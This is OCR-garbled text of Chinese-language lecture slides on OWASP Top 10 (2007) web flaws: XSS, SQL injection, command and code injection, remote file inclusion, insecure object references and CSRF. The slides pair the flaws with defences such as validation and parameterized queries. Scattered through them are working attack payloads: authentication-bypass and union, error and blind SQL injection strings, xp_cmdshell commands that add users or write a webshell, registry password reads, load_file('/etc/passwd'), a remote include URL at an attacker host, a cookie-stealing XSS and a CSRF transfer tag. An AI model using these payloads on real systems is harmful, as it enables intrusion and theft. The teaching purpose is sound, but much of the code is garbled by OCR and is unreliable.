sh.Replace{"&lti&gt ", "<i="); &nbsp;
sh.Replace("&lt /&gt ™ "</i="); # SEe
Response White(sb. ToString()), { 2240

) &#41:
PHP: Ensure output is passed through b iﬁggf
htmlentities() or htmlspecialchars() : 2H59-
= &#61;




f7 2 2 3. (cont.)

— 4o R # ¥ F# #]URL->URL-Encoding
»e.g. HttpUtility.UrlEncode()

v 3% %)% & B 369 HTTP response Z %5 % X,
£1S0-8859-1(% & UTF-8)

- A RHEARRR ST E AKBR AR KL AREED
— Content-Type: text/html; charset = ISO-8859-1
— For .NET :

- thiz _Response fddHeader("Content-Tyvpe", "text/himl; charset = [50-8859-1"%;
> web.config

<configuration>
<system.web’
<{globalization
requestEncoding="I30-8859-1"
responseEncoding="150-8859-1" />
</system.ueb>
</configuration>

» Per-Page Setting

{meta http-equiv="'Content Type" content="text/html; charset=IS0-8859-1" />



# = #aXSS - DOM Based XSS

» Typel : Non-persistent / Reflected (R 5t X,
> Type2 : Persistent / Stored (F A X))

» Type3 : DOM Based XSS

VERE A RBEARBERPT € R BERZHA
B SR e AT A X

VR g R E A B R R GDOM Y4+
R 1E A

— document.location
— document.URL
— document.referrer
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<HTML =
<TITLE=Welcome!</TITLE>
Hi

<SCRIPT:=
var pos=document.URL. indexOf ("name=")4+5;

document.write(document.URL.substring(pos, document.URL. length));

</SCRIPT=

<BR>
welcome to our system

</HTML =

i%’fim * | http://www.vulnerable.site/welcome.html?names

Joe

Iﬁ;égé;%?’ : http://www.vulnerable.site/welcome.html?name=

<script=alert(document.cookiel</script>
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Standard XSS

DOM Based XSS

Foot cause

Insecure embedding of client
input in HTML outbound page

Insecure reference and use (in
a client side code) of DOM
objects that are not fully
controlled by the server
provided page

Owmner

Web developer (CGI)

Web developer (HTML)

Page nature

Dynamic only (CGI script)

Typically static (HTML). but
not necessarily.

Vulnerability Detection

* Manual Fault injection

* Automatic Fault
[njection

* Code Review (need
access to the page
source)

* Manual Fault Injection
* Code Review (can be
done remotelv!)

Attack detection

+ Web server logs

* Online attack detection
tools (IDS. IPS. web
application firewalls)

[f evasion techniques are
applicable and used - no
server side detection is
possible

Eftective defense

» Data validation at the
server side

» Attack prevention
utilities/tools (IPS,
application firewalls)

» Data validation at the
client side (in
Javascript)

+ Alternative server side
logic




AT 3% Script3E 3 (2L )B;D()Mﬁl’hﬁ‘)ﬂi
BEEAT IR

VEREANR

VERENER

2> 2 by HE K300 =T A 42 3% 8 28 48 R E T 3E A

» & %,

y .

103



i 3% 2 & (cont.)

> oM LR AL AT 38 &y ScriptZ X, © A H ARk
THEAE A FWAT R EEHDOMY 4448

<SCRIPT=
var pos=document.URL. indexOf ("name=")4+5;
var name=document.URL.substring(pos, document.URL. length);

it (name.match(/A[a-zA-Z0-9]1*%/))
{
document.write(name);
¥
else
{
window. alert("security error’);
¥
</5CRIPT=
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f7 2 2 3. (cont.)

Vi R A FDOM 14 248 Bl & X FHHEE

- DOM#y 45

» document.URL -~ document.URLUnencoded -
document.location - document.referrer -~ window.location ~

— 48 B & X

»document.write(...) ~ document.writeln(...) -
document.body.innerHtml=... - document.forms[0].action=...

- document.attachEvent(...) - document.create...(...) -
document.execCommand(...) ~ document.body. ...
window.attachEvent(...) - document.location.hostname-=...
- document.location.replace(...) -~
document.location.assign(...) - window.navigate(...) -
document.open(...) ~ window.open(...) -~ eval(...) -
window.execScript(...) ....

105



OWASP Top10(2007)-2
Injection Flaw




OWASP Top 10 (2007) - 2

» Injection Flaw
VA REZBRTOEAILSBEREAINT
— SQL Injection
— OS Command Injection
— Code Injection



SQL Injection

> SQL 34 A K A ¥

> BRTH BN IREGSEBRANT » £HA
EHPRFP—ESQLEZXAE  FHEBRAR
T 14 3% B R E AT -

HREREMANERRES SQLEE

strSQL=' . =1"&
[Request("UserName")|& ‘| AND Password="" &[Request({"Pass")|
El. unu

'EETT§E SOL Server #1T » sE 2 REIAINTS
Set rec=.Execute(strsQL)

> HEEE > All!

v ASP -~ NET -~ Java ~ PHP ~ CGI .........
v MSSQL ~ MySQL - Oracle ~ Sybase -~ DB2 ~ PostgreSQL ......




SQL Injection (cont.)

> T e 3 A B
V 6538 5 RSP B 7T B4k o
VERELER D AERS !
VIS XN E
— ¥~ MR - BEHEHEREAS -
- FEREEMBREBEERERE -

VELEHEA469ESD S ILEEEE -

VESEERGEXR AL TR R KR BDHEMR
SHARERK  EHBIRER - ...
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BE SRR 3% B M R IR

FHRAPY THEG)ENE
EFF%LEHIELRATSE!
MEREI B BEAN

SQL % # 454
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EE i TS

MS SQL Oracle Postgres

T-saL Lyl Access | p|sqL DB2 PL/pgSQL
Concatenate
Strings Ty concat ("","") "rgt " "4 Y
Null replace Isnull() lfnull() Iff(Isnull()) Ifnull() fnull() COALESCE()
Position CHARINDEX LOCATE() InStr() InStr() InStr() TEXTPOS()
.Op Sys . xp_cmdshell select into c_JutfiIe #date# utf_file import from Call
interaction / dumpfile export to
Cast Yes No No No Yes Yes
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X Bl BH & & £ £ (cont.)

MS SQL MySQL Access Oracle DB2 Postgres
UNION Y Y Y Y Y Y
Subselects Y :‘: j_‘? N Y Y Y
Batch Queries Y N* N N N Y
Default stored Many N N Many N N
procedures
Linking DBs Y Y N Y Y N
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o 55 B JENEE

> REASQLEZEGNEZ S

v @8 h 28

vV & F®/#H
— FF 3 e
— AR 3 8 & BN A

@

[Method] [URL] [Version]
[Header]: value

\n

[Data]

{Optional)




EASQLA # I 4

» SQL Injection R F) & F 5% &
v Bypass Authentication
v Error Based ( ASP + MS-SQL )
v’ Union Based
v Update Based
v Blind
v Batch Queries (MS-SQL)
v Extended Procedure (MS-SQL -~ Oracle )
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Bypass Authentication

FRBENR @R E /ML 0 EASQLE
A LA &, 38 SR 58

> X BT P b

V¢ or ¢2=¢

v'¢or 1=1--
FIREREHAREEFES SQOLEE

v or 1=1/* | strsqu-"BELECT * FROM thiUser WHERE Userame=" &
[Request{"UserName")|& '| AND Password=]' &[Request({"Pass")]
&1|ﬁ1|

BB SQL Server 81T » SERRENAIHS
Set rec=.Execute(strsQL)




www.victim.com.tw

Username
Password
Submit




> ARARGFERRER SEASQLE R A -

Select Select
* s

From From
Account Account

Yyhere Where
username=*‘[M& 3% ]’

username=‘admin’
and

password=*‘[ % 25§ ]’ and

password=*¢ or 1=1--’



Error Based

FEREABERBTARATHEMAELNRY
SRFM > AABERER BB E £ 2 RN
BHEA K i [ODBCSQL SererDiver QL Smerlniss

b DR B 2 B IR Sk e 0 e

v Z45)% BN ASP + MS-SQL 2 &R T

VERRRFERAHBEET SRBREHERENR -
> HRF B &

v @ @version>1--

v order by 100--

v (select cast(id as nvarchar(4000))+’1’)>1

v (select cast(id as nvarchar(4000))+char(124))>1




>ARGEBERBR FIBEASQLE R A -

Select Select
* ®
From From
News News
Where Where
id= [ 48 4t £ #id] id=1 and
@ @version>1--

> SQL Injection (Z7/&45)— #% 717 SQLIZZELEY -
http.://www.microsoft.com/taiwan/sql/SQL Injection G1.htm
http.://www.microsoft.com/taiwan/sql/SQL Injection GZ2.htm




Attack Sample

r BAT R AL L 75

— B
> ez d A HAVING 1=1--
> g En N\ . abed

- R AeI54 %

SELECT * FROM tblUser WHERE UserName=‘' HAVING 1=1--'
AND Password=*‘abcd'

— &%

> AT R EERNED, e
Micromft OLE DB Provider for B0L Server (1xA0040E14)
EEHT thlser TeerlD' I8 HTEH iy » RIBE TR B SEES

Ei# P Hi3H GROUP BY 74 -
fsqlinjectflogin asp, line 16

» 12 40 Bk B AMS SQL Server o

> roiE AR R E B R LA tblUser > B &)+ A —18
4=y UserlD o



Attack Sample

> BT & RN AL 4 #%(cont.)

— B
»ig e A ' GROUP BY UserlD HAVING 1=1--
> 2 e & A abed

- B34S 8 .

SELECT * FROM tblUser WHERE UserName=‘' GROUP BY UserID
HAVING 1=1--' AND Password=°‘abcd'

—- &%

> AT B ARG« BN
Microsoft OLE DB Provider for S0L Server (0xB0040E14)
BT thllser Userlame' ERREE PE » EEETFESER
$RES s GROUP BY FRI% -
fsqlinjectflogin asp, line 16

> BRA LGB ME T T oo E A UserName -



Attack Sample

> B 4% & AR AL 4 % (cont.)
T —BARTE BB EHEY A ERL 0 &
B #y O\

> e N ' GROUP BY
UserlD,UserName,Password,Pri HAVING 1=1--

>z e o\ . abed
- R Aein L8
SELECT * FROM tblUser WHERE UserName=‘' GROUP BY

UserID,UserName,Password,Pri HAVING 1=1--' AND
Password=‘abcd’

~ &R ZAATBE R ERD T 2R R AN T
HEGHR -



Union Based

>R A AEF BT XRESATRRE SQL E 4
A E RN

& =2 Nk
v'id=1 order by 10-- (& 5t #] H order by #| E7 i 3t &)
v" id=1 union select 1,2,3,4,5--
v id=1 union select 1,2,3,database(),5--

v"id=1 union select 1,2,3,(select top 1 name from
master..sysdatabases where dbid=7),5--

v"id=1 union select 1,2,3,load_file(‘/etc/passwd’),5--




> AR EEREHS, FEASQLE R A -

Select Select
id,user,message id,user,message
From From
board board
Where Where
id= [49 4 2 $Kid] id=1

Union select
1,2,version()--

Demo - ....



Update Based

> #,

1 82 X B H e

F o BARBRERZ

SQL3E4) » T AENBAFREH -
> IR T B B

v¢+ @@version + ¢

v'¢ + (select name from master..sysdatabases
where dbid=7) +’

v ¢ .email=(select ... ),” ...



> AR BE RIS, PFBEASQLE B A -

Update Update
Member Member
Set Set
email=*[email]’, email=* + passwd + ”’,
address=‘[34L]’ address=‘[3.3E]’
Where Where

user=‘[{& A Z 2 48] user=‘[{£ A H L]



Blind SQL Injection

> B @A R EATE RN A Al - HAE
“Blind”’

>%|j @EE@% 66999@66@99 ;J%Fﬁ./i)\
B9 SQL & & /AT BT

> BT B R
v'id=1 and 1=1
v'id=1 and 1=2

v'id=1 and (select top 1
ascii(substring(passwd,1,1)) from users)>79




> AR s RS S BASQLEARA -

Select Select
* *
From From
B 7 45 R
News News AE P
Where Where / 1d=178 /3]
id= [ 49 1t 2 $id] id=1 and 1=1
(1 and 1=2)

Demo - .... BERREAHER



Attack Sample

» 3 B R R ERLIR A

http://XKXNXXRNNXX/productList.php?id=8 and ( select ASCII{substring(®@version,1,1)) ) >108 --> False --> 1 ™ 108
http://XXXNXXXXNXX/productList.php?id=8 and ( select ASCII(substring{@@version,1,1)) ) >50 --> True --> 58 ™ 168
http://XXXNXXXNNXX/productList.php?id=8 and ( select ASCII({substring(@R@version,1,1)) ) >78 --> False --> 58 ™ 78
http://XKXNXXRNNXX/productList.php?id=8 and ( select ASCII(substring(@R@version,1,1)) ) >68 --> False --> 58 ™ 6@
http://NXXXXRNNXXX/productList.php?id=8 and ( select ASCII(substring{®@version,1,1)) ) >55 --> False --> 5@ ™ 55
http://NXXXXXNNXXX/productList.php?id=8 and ( select ASCII(substring{®@version,1,1)) ) =53 --> True --> ASCII = 53 --> '%°

http://NXXEXKNNXXX/productList.php?id=8 and ( select ASCII(substring(@@version,2,1)) ) =46 --> 5.
http://NXXXXRNNXXK/productList.php?id=8 and ( select ASCII(substring{ER@version,3d,1)) ) =48 --> 5.0
http://XKXNXKRXNXX/productList.php?id=8 and ( select ASCII{substring{E@version,4,1)) ) =46 --> 5.0.
http://XKXNXXRNXXX/productlist.php?id=8 and ( select ASCII(substring({@@version,5,1)) ) =51 --> 5.08.3
http://XXKXXKNNXXX/productList.php?id=8 and ( select ASCII(substring(@@version,6,1)) ) =55 --> 5.0.37
http:ffXXXXXXXXXXX!pruductLiSt.php?id=ﬂ and { select HSEII(5uh5tring(@@uer510n,?,1}} ) =45 -3 5.0.37-
http://XKXNXXRNNXX/productList.php?id=8 and ( select ASCII{substring{@@version,8,1)) ) =108 --> 5.0.37-1
http://XKXNXXRNNXX/productList.php?id=8 and ( select ASCII{substring{®@version,?,1)) ) =111 --> 5.0.37-1o
http:f!XXXXXXXXXXXIprnductLiSt.php?id=ﬂ and ({ select HSEII(5uh5tring{@@uer510n,1ﬂ,1]] ) =183 --> 5.8.37-1og ====> HysQL DB
http:ffXXXXXXXXXXX!pruductLiSt.php?id=ﬂ and { select HSEII(5uh5tring(@@uer510n,11,1}} ) »8  --> False --> Stop !
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Batch Queries

SRR BT LRENES 0 BHKIUT
zﬁ-ﬁ'&:}‘é > (MS- SQL i’%i)
VI B2 AERRESEE (Select/
Insert / Delete / Update ) #3SQL 3% 4
VI S RENEEE

>R T E B
v'id=1 ; drop table account;--

v'id=1 ; exec master..xp_cmdshell ‘net user
Hacker Hacker /add’;--

FRRFEHABRARS TR ...




Extended Procedure

> 35 B 7 18.3% B R %X 3% Stored Procedures
> EEAT @ 1 & 4 Batch Queries % X, #h4T
&% Rk

v id=1 ; exec master..xp_cmdshell ‘net user Hacker Hacker /add’;--

4

3 AY FRAF A2 5 4 #8(MS-SQL) | =5 A

xp_cmdshell fic %) L SQL Server 8 % &tk ik & 5 RIATIE
AR -

xp_regXXXX FEBAE ¥ 4 #htyregistry Bkt o

Xp_servicecontrol 1232 R B8 X B ARFS -

Xp_terminate_process R EEBITFORE 2R TP EIHT
Process ID -

xp_dirtree o EB BT &1 B SR E 54 -

xp_oaXXXX B IR % sh2F OLE ko 13




> BN E R

> BB FHEFERE N
>EFREE
>R EHREEZRAE




WA T R

A-FA X X
VES  BFR -EATFEF

{ if not isNumeric( Request.QueryString(“id”) ) Then J

Response.end
end if

VR TR - BAFAXART
ﬂet Reg = new RegExp \
with Reg
Pattern = “[a-zA-Z0-9]+9$”
end with

if not Reg.Test(Request.Form(“username”)) Then
Response.end

\.end if -




A\ B B8 (cont.)

v $4%| : SSN Validation

/" <%@ language="C#" %> i\

<form id="form1" runat="server">
<asp:TextBox ID="SSN" runat="server"/>

<asp:RegularExpressionValidator ID="regexpSSN"
runat="server"

ErrorMessage="Incorrect SSN Number"
ControlToValidate="SSN"
ValidationExpression=""\d{3}-\d{2}-\d{4}$" />

(/form> /




A\ B B8 (cont.)

v $.47] : ID/Password Validation

using System;
using System.Text.RegularExpressions;

public void CreateNewUserA ccount(string name, string password)
{
// Check name contains only lower case or upper case letters,
// the apostrophe, a dot, or white space. Also check it is
// between 1 and 40 characters long
if ( 'Regex.IsMatch(userIDTxt.Text, @' "[a-zA-Z'./s]{1,40}$"))
throw new FormatException(''Invalid name format'');

// Check password contains at least one digit, one lower case

// letter, one uppercase letter, and is between 8 and 10

// characters long

if ( !Regex.IsMatch(passwordTxt.Text, @"' " (?=.%\d)(?=.%[a-z])(?=.*[A-Z]).{8,10}$""))
throw new FormatException(''Invalid password format'');

// Perform data access logic (using type safe parameters)




B\ F ¥ 5 (cont.)

2L EBR

v R iE % &Query

— 1% P 2R 4F 5% 7 B SQL & 4
> [
-

— KR LA
> or 1=1--
> or 2>1--
> ‘or "=

- RREIRIRTE
> and 1=1--
> and 1=2--

» “declare @a int;--



B\ F ¥ 5 (cont.)

v R iE % 5 Query(cont.)
—EEWE LR

> EATARR A G ek (FREOER)
> @@version>1

- BEEHHR
> 1/0

— KRR B BE A
> order by 100

— 4£ F union & 4 W F query

> ‘union select col1,col2,... from table--

— o R B R IEAP RS
> ;exec master..xp_cmdshell ‘net user Hacker Hacker /add’;--

» .exec master..xp_cmdshell 'echo WEBSHELL > path/a.asp‘--

> ;exec master..xp_regread
'HKEY_ CURRENT_USER,Software\ORL\WinVNC3',Password;--



A\ B B8 (cont.)

VER B

- N

set Reg = new RegExp

with Reg
.Pattern = "(select/update/insert/delete|['#;(),-/=\\"+])"
.IgnoreCase = True
.Global = True

end with

K test = Reg.Replace( Request.QueryString(‘“test’) , ) /

\/;jw\‘_:{{}fﬂ . 1«1%%@.}—#%)\
VEBGBG AR



A\ B B8 (cont.)

r {|FRF U/ F % (Escaping)

input = Request.QueryString(“test’)

vk Ty BB TV,
input = replace(input , “”, “\"")

vk Tra BB T\,
input = replace(input , CHR(34) , “\”" & CHR(34) )

VlE T s T\, (EEASHRBER - HEmer Lt 4T
input = replace(input , “-", “-1-“)

ok Ui BikA TWey (SR GBIBE R [+ BBt § 84T
input = replace(input , 7*”, “W**)

Vi T BB T, (BEAGRER X UGS EIITRE R

/nput _ rep/ace(lnput ’ u’,n ’ ::\’,n)



FHEAREAAE > B &!

> #2 R, 2L p Parameterized Queries#) & 7% *

FREHRE

VERFEBERANARETAFRK KRR IAT

SQL Bk o FRARA

é’J By i& ik ?JLE;’%‘SQL

FomBE BT G AREERR

/PﬁﬁSQLm JEE S
— 3L B B B R B b S A R X RE 6
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BB AR A & E(cont.)

v #X %45 (NET) (46 5%)
= SQL Injection !!

4 N
sSql = "SELECT LocationName FROM Locations '’;

sSql =sSql + "' WHERE LocationID ="' + Request['' LocationID"'];
oCmd.CommandText = sSql;
N\ J
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BB AR A & E(cont.)

v #X%5 (NET-CH (BFBHEE) :

/ string connString = \
WebConfigurationManager.ConnectionStrings[''myConn''].ConnectionString;

using (SqlConnection conn = new SqlConnection(connString))

{

conn.Open();

SqlCommand cmd = new SqlCommand(""SELECT Count(*) FROM
Products WHERE ProdID=@pid'"’, conn);

SqlParameter prm = new SqlParameter('' @pid'', SqIDbType.VarChar, 50),
prm.Value = Request.QueryString[''pid"'|;
cmd.Parameters.Add(prm);

K int recCount = (int)cmd.ExecuteScalar(),
/ /
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B B FBAZ A % (cont.)

v 2X &6 (PHP) (BFFX)
— PDO (PHP Data Objects) (PHP >=5.1)
2> using bindParam()

/$dbh = new PDO(DB_DSN, DB_USER, DB_PASSWORD); N
$sql_find_repeat = 'SELECT COUNT(*) FROM ‘table_name> WHERE
‘col_name =?;';

$sth = $dbh->prepare($sql_find_repeat);

$sth->bindParam(1, $value, PDO::PARAM_STR);

Qsth->execute( ); /
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BFHEERE

>”%H@%&%¢§ﬁwbmﬂ%ﬁmDB%

MR R —BEANBRTERAFRA BN -
V TEREZRsa ATH A B BRFRE !
> REFIBFHBERTRES T GHHER

>ﬂ€"'&}

| 7 2|18 2 5E 3% A &9 2E 4% 22 - B FR

xRw HIBEHE T o
v MS-SQL :

— sp_addextendedproc ~ sp_addlogin ~ sp_password -~
sp_addsrvrolemember -~ xp_cmdshell ~
xp_availablemedia -~ xp_dirtree ~ xp_servicecontrol »
xp_subdirs ...... % o



R LEERME
VERBROEERE

vV R B R — R E
vV B R A F RSB ARENEELogh &

>HE A& BEEHERME

v For ASP.NET
— B H debug X %3 F F R

» debug="“false”

— BB trace zh fE

» <trace enabled="false” >

- BEHRHEHRR T

» <customErrors mode="On” defaultRedirect="“error.html” />




> k’xé*rns#:

. :
Webihg | HMES | e | LarEEME | EBs | i |
E 2 B#E2HE | HITPE8E EHE | ASPNET | {aiRSSmEFiesh
\/ *E ) & E | é’] :ﬁ-#\ ~HTTP B #ERMAHETAE
&: E @ BETHIzE SR B eI L2 L iE AR SR AT4RE URL {futl=h2aAHeE -
HITPgER (#0  | A% |
=| 407 g CAWINY ThhelpisisHelpheommon'd 07 htm ;I
— 'fl% EiSOO-lOO,aSp ’ ﬂ% | 412 EE CAWINN TthelpiisHelpcommon' 12 htm
é =[414 =g CAWINN ThhelpiiisHelpleommontd 14 bt
ﬁﬂ ﬁ: #: t—f! =| 500 i CAWINN ThhelpiisHelphe comrnomhS00 b
% & a N ég ‘ga a >y =| 50012 =g CAWINN ThhelpidisHelpteommmoniS00- 12 htn
=| 50013 =g CAWINN ThhelpidisHelpleommmoni500-13 htn
?ﬁ o (% E&{im =| 500715 e CAWINN ThhelpidisHelpleommnoniS00- 15 htn
oo Y 500;100 TEL fishelpfeommondS00-100 asp
fiishelp/common/500- T g e J
502 TESRIE  "Bad Gateway"
100.asp)
BEATE. | SEERES |
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> BT ASP 423 A

W=D Web 55 PIES

B#kaiE | HITPEE | BEM8R | ASPNET | (RSS2
webits | BieE | s | manEgRME EBH | xp
WEREISEEE  ATEZAE:

~ ERE LA B0

 B—gEIE LA ANE

38 URL fo4HAVE A )

AR () | \inetpublwwrroot BED.. I

" s RHFETFRID
v EHTE)

I~ BAOD

[ #EE#E

v BEEEMR
v iR EEREER D

MERiZFERE

FE R #2 21,45 98 (M Ii'_ﬁ%ﬁﬁﬁﬁﬂ
EREhEs: <TEERET Web 365>
{5 FRHEERE: [15%

EREFIREN: [F E=EAD

2 x|

FEFTZiEtRE | REFRTE B EREAE |

- {HEETHIR

[T B5F ASP {SIRERiRIS
[T B5H AP APiRds

HIHFEE
+iEsE 1D

~f5sEsREi e
 WEEESEAY ASE BRI B R PR E

H e rasRc B SRR ST

=38 URL R oliR s A SEoE - chilse e s -




OS Command Injection

- FAP F&A

1BE X A %M ETNAE

VENRAFSBZEEENEHER
PR AR EEREMBFEREMATF A

g °

BROBEREEAG&BAT A e AL IR
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f_,"; http:fflocalhostfOSCommandInjection/Main asp - Windows Internet Explorer

@.: = IE- hitp:#ocalhost/ oS C ommand Injectiondd ain.azp

BED REE WHE REREL TAD  SHEAH

BARE | L @fsnin - e EEEIEE - e SKEE WM 2 Googe ) Demo ~
@ hitp:localhostOR Command Tnjectionbdain azp | |

05 Command Injection Test

Log File Name ; [Testtt I subrait

ﬁeat-ﬂl test-02 test-03 test-04 test-DS]

" hitp:HlocathostiDSCommandInjection/Main asp - Windows Internet Explorer

@:-\ - I@I hitp:flocalhost' DR omrmand Ingection/dain asp

BEE &EE #R0 HEEEG TAO  SRHEE

fé hitp:ilocalhostf R C ommand InjectinnDdain asp | |

L BMBE | @EnnEl - g BERNES - e MEREE WM M Google ) Demo -

08 Command [njection Test

Log File Name : W

test 0] test02 test03 test 04 test 05




/2 hitp:#Aocalhost/0SCommand Injection/Main asp - Windows Internet Explorer

@T; )= |ig] htpatlocalhostOSCommandInjertionsin ssp =l (&[4l x |77 vive seamn

BEE EEE BHEE BEREEW THEO S
o HERE |1.5 E RS - g EERIEE - 2 SIGEE W MyP M Googe ) Demo -

(& hitp:ocalhostiOSCommandInisctionMain asp | | ]’ﬁ’*} L S R SR

08 Command Injection Test

Log File Name : |Testtt subrrt

test-01 teat-02 test-03 test-04 test DS\ AR C HHFEIFSEIEE « MEEFEaE E872-379F o\ B E R 2009/05/19 T4~ 06:06

abbf9cdb07 10b0c4boZ 100375 7h 2009/05/15 T4~ 0528
a7158e0433b62293 506280772584 30 200040420 T4 02:41 0 AUTOEXEC.EAT 2009/04/20 4= 02:41 0 CONFIG.STS 2009/04/20 T4~ 0246
Documents and Settings 2009/05/19 T4~ 03:51
Inetpub 200702/17 T4~ 11:39 94 720 msizap.exze 20090909 T4~ 03:35
Per] 200009/10 E£ 10:59
Program Files 2000/08/21 T4~ 01:35
Temp 200908/18 T4~ 03:12 27 test txt 2009/11/13 T4~ 0208
WINDOWS 200904020 T4 02:42
wmpub 20000520 F4- 1109
Working 4 {EfE2E 94,747 f#H 10 EE & 3,654,761,984 fumiH=T A
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> BNARER
A-F3
VELRRR:
— ¥4 %5 fRF ;| & and newline
— ¥ 2 F 7t (the backtick operator)
> 5 4% o S 9 APLR 31470545 & -
v & %1% A 1% R cmd.exeis $ #yshellds 4 » K& — A&

BMATHT B BT RE o
— JAVA : Runtime.exec()
— ASP.NET : Process.Start()

> N RR R

http.//msdn.microsoft.com/zh-tw/library/h6ak8zt5(VS.80).aspx

class HyProcess

A4S CSUNMATY >
<77 Opens the Internet Explorer application.
£47 L /SUNNATY >
wolid Opendpplicationi{string myFavoritesPath)

¥

<7 Start Internet Ezxplorer. Default=s to the home page.
Process . Start("IEzplore.eze");

<7 Dizplay the contents= of the fawvorites folder in the browser.
Process . Start (nyFavoritesPath):

£44 {SUNMATY

s QOpens urls and  html documents using Internet Explorer.
A4S L SZUNNATY >

void OpenWithdrguments()

{

}

4 url's are not considered document=. They can only be opened
#/ by passing themn a= arguments.

Process . Start("IEzplore.exe". "www. northwindtraders. com");
<7 Start a Web page using a browser associated with html and asp files.
Process . Start("IEzplore.exe". "CimyPath smyFile htm"):

Process . Start("IEzplore.exe". "CimyPath smyFile. asp"):



Code Injection

>AP EZREBEERAEHBASTERGEE
&R ERT AT ARH &\
v'PHP : eval() C# ZpRRET BT BT T

‘/ASP : Execute() Server  Executel "updateinfo. aspx");
PUBREBRMAHIENSHBAEIITHE
XA > WS X P IAT
PR EBENERL  EERBITELEY
BINMRER ©
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OWASP Top10(2007)-3
Malicious File Execution




OWASP Top 10 (2007) -3

» Malicious File Execution

rREmYEI AR GER I TIER
%%ﬁ*%k
v 5 o 23 language=en S twEF 4~ %] 5| AR F] 3%
AHWMARE
FRABEERSH BERIANNTAHEE
#§ % (— A& % Script) 3 HA4T




Malicious File Execution Sample %’%

- i

> #4| (PHP)
v B4k

— https://www.test.com.tw/main.php? Country=tw

-~ HARAAFREBUATHRXBRAZH H
$country = $_GET[ ‘Country’];
include($country. ‘.php’);

vV B B o ¥
- B4 —18 B &4 F “backdoor.php”
- HEWRASH D

https://www.test.com.tw/main.php? Country=htip.//
www.attacker.com.tw/backdoor

- BREMBXEIAPITEIEZHS
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> RRATIR A R E R m%ﬂA%ﬁﬁmi
> B AR B

ViER G LZERA
~ AT RBELHMAET R
~MREEETHIINGBREAE

v {4# A “indirect object reference map”

— https://www.test.com.tw/main.aspx?Country=1

—- 1R
> 1 - “tw.aspx”
> 2= “en.aspx”

> Others - Reject !



OWASP Top10(2007)-4
Insecure Direct Object Reference




OWASP Top 10 (2007) - 4

» Insecure Direct Object Reference

> J A AR Web 6 i 22 X4 & 8040 1475
BAEIEERRAZIRANESR

v http://www.xxx.com.tw/showPage.aspx?page=
main.aspx

VR
-B A
- x4
@7 ..

Demo = ....




o QwrikiWiki- 4 4 fetedpasswd - Microsoft Internet Explorer

| BRE ®HD WAD SHEFQ ITAD IO | &
QEF-Q- 1B W 5
J AR @ hitp Hiskablywiliwikifindes phpTpage=. /4 1 44 detepassud 500 j

Key Pages: Home | Qwikivwiki | QwikiSyntax | Recent Changes

Recently Yiewed: config.php = ../ config.php = ../ config.php = ../ config.php
=l fetc/passwd

QWikiWiki wf o)) .. [etc/passwd
root:x:0:0:root: froot: /bin/bash -
bir:x: 1:1:bin: /bin: fsbin/nologin
dasmon:x: 2: 2:daemon: /sbin: /sbin/nologin

adm x:3:4:adm: fvar fadm: /sbin/nologin

x4 7:p: fvar fspool/lpd: /sbin/nologin

sync:x: 5:0:svnc: /sbin: bin/sync

shiutdown:x:6:0: shutdown: /sbin: /sbin/shutdown
halt:x: 7:0:halt: /sbin: /sbin/halt

mail:x:8:12:mail: fvar /spool/mail; /sbin/nologin
news:x:9: 13 news: /el /news:

Lucpe s 100 14 uucp: fvar fspool fuucp: /sbin/nologin

& 5 T N insraRERs

|




> BRR: ARE R EHBMANT $ B8RRI TR
BERRERGLEBEH—Fy

> I AE

## 7% : index value or a reference map

v http://www.example.com/application?file=1
v 1% 3% : 1 2 “function_AddUser.aspx”

> H 4,
v B8 B A o 845 #(20 Null byte) &4 F A\ F &

— BB E R A EHDecodedZ 12

VEBERBANEEREBMAERATFHECEREN

— Java : java.io.File 2> getCanonicalPath()
— ASP.NET : System.lo.Path.GetFullPath()

vV #RE!



by # & i%(cont.)

» For PHP:
v In php.ini
— B B allow_url_fopen -~ allow_url_include
— 3% % open_basedir

VERERZHMATERETRARTEREHXAA :

— include() ~ include_once() ~ require() ~ require_once() °
fopen() -~ imagecreatefromXXX() ~ file() ~
file_get_contents() ~ copy() ~ delete() ~ unlink() -~
upload_tmp_dir() - move_uploaded_file() ~ $_FILES

VERNRSEERA SR

— system() ~ eval() ~ passthru() or ~ (the backtick operator)



OWASP Top10(2007)-5
Cross-Site Request Forgery (CSRF)




OWASP Top 10 (2007) - 5

» Cross-Site Request Forgery (CSRF)(XSRF)
FPRBEZCEANZESNER S AR F R
ATHEHERXHFREAELERAITRY ©
> LB
vV &2 @A BN Ea(RERE)
VER K EE@EME
VEBYIT R CETHMHIARNBEENF F AR




How XSRF Works

Alice
ﬁﬁ /login.html

<

/auth.aspx?id=Alice&pw=fmd9032
Lookie: sessionid=40a4c04de

/transfer.aspx?from=Alice&to=Bob&amt3$10000
Cookie: sessionid=40a4c04de

P
“Transfer Done !”

<




How XSRF Works(cont.)

pNEe Bank.com Evil.org
gfﬁ /login.html X {ii
N :[I

/auth.aspx?id=Alice&pw=fmd9032
Lookie: sessionid=41d8u310p

/evil.himl

<IMG SRC=http://bank.com/transfer.aspy
Z2from=Alice&to=Evil&amt=$10000 > !

/transfer.aspx?from=Alice&to=Evil&amtz3$10000
Cookie: sessionid=41d8u310p

@ p “Transfer Done !”
I\

>




FEERERAREZ R A XSSH FA

r AR,

IGETH X (AT SR E/TE

RO p KIAE °

> & 3m AR X

B F RIS T

y .

v'General - Request ["'name"']
— # F)E A : Query String->Form->Server Variables

vGET -

Request.QueryString[‘“‘name”’]

v'POST - Request.Form[“name”] (€ OK)
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by # & i%(cont.)

P REIEREEBEAR KR -

FHNERNR H RIIRE > IFEAT re-

authenticate 3% & & F transaction signing

B o
PEERERERANAEERATREHRE
RBEATZIA T RE

VARK AT EERBR !

— ¥ & HTTP Referer Header > R %5 » T4 !
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by # & i%(cont.)

i b1

v RN PR

1CAPTCHA SItCeenD
5. Completely Automated Public

Test to tell Computers and Humans Apart

VA RERAMAEBERREAMAE R B FHILE X
v — #& Challenge-Response 3| X 4% %1

VEEEER

» B B T fE B A% Ak A

_ Yahoo Mail (2008.1)
_ Gmail (2008.4)
_ Hotmail (2008.4)



by # & i%(cont.)

— k% 2 &5 Yahoo CAPTCHA

35 Breaking a ¥Yisual CAPTCHA - Mozilla Firefox
wEE REE WRY BERE FHE I8 HAM

<§ = = @ ﬁ} | hettp st o5 st cad-moriresearchy gimp |‘| D“I "! : |"*\|

Breaking a Visual CAPTCHA ]

Greg Mori(1,2) and Jitendra Malik (1)
(1) UC Berkeley Computer Vision Group |
(2) Simon Fraser University '

Summary

This is the homepage of the Shape Contexts based approach to break Gimpy, =R sl s TN IS ST = I ol § o e =lE]
